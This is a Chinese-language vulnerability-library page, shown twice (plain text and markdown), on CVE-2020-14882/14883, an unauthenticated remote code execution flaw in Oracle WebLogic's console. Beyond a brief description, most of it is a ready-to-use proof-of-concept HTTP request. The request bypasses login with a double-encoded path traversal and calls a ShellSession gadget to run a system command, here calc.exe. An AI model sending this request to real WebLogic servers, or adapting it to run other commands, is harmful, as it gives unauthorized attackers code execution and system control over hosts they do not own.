Qingy 漏洞文库

Toggle source

CVE-2020-14882 weblogic 未授权命令执行

简介

未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求，利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件，且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后，远程且未经授权的攻击者可以直接在服务端执行任意代码，获取系统权限。

根据补丁diff结果我们可以看出，可以看出上面的变化

我们可以通过下面的代码，任意加载某个类或者对象

http://<target>/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=java.lang.String("ahihi")

未授权访问

非法字符绕过登陆保护

POC

首先通过非法字符绕过访问，然后通过Gadget调用命令执行，poc如下

GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); HTTP/1.1
Host: 192.168.3.189:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADM
Upgrade-Insecure-Requests: 1

https://mp.weixin.qq.com/s/48VIwTkyFVXUTS78kNByhg

# CVE-2020-14882 weblogic 未授权命令执行

## **简介**

![img](resource/%EF%BC%88CVE-2020-14882%EF%BC%89%20weblogic%20%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/media/640-20201028223454813.png)

根据补丁diff结果我们可以看出，可以看出上面的变化

我们可以通过下面的代码，任意加载某个类或者对象

```
http://<target>/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=java.lang.String("ahihi")
```

![img](resource/%EF%BC%88CVE-2020-14882%EF%BC%89%20weblogic%20%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/media/640-20201028223454970.png)

## **未授权访问**

![img](resource/%EF%BC%88CVE-2020-14882%EF%BC%89%20weblogic%20%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/media/640-20201028223452474.png)

非法字符绕过登陆保护

## **POC**

首先通过非法字符绕过访问，然后通过Gadget调用命令执行，poc如下

![img](resource/%EF%BC%88CVE-2020-14882%EF%BC%89%20weblogic%20%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/media/640-20201028223449403.png)

```
GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); HTTP/1.1
Host: 192.168.3.189:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADM
Upgrade-Insecure-Requests: 1
```

https://mp.weixin.qq.com/s/48VIwTkyFVXUTS78kNByhg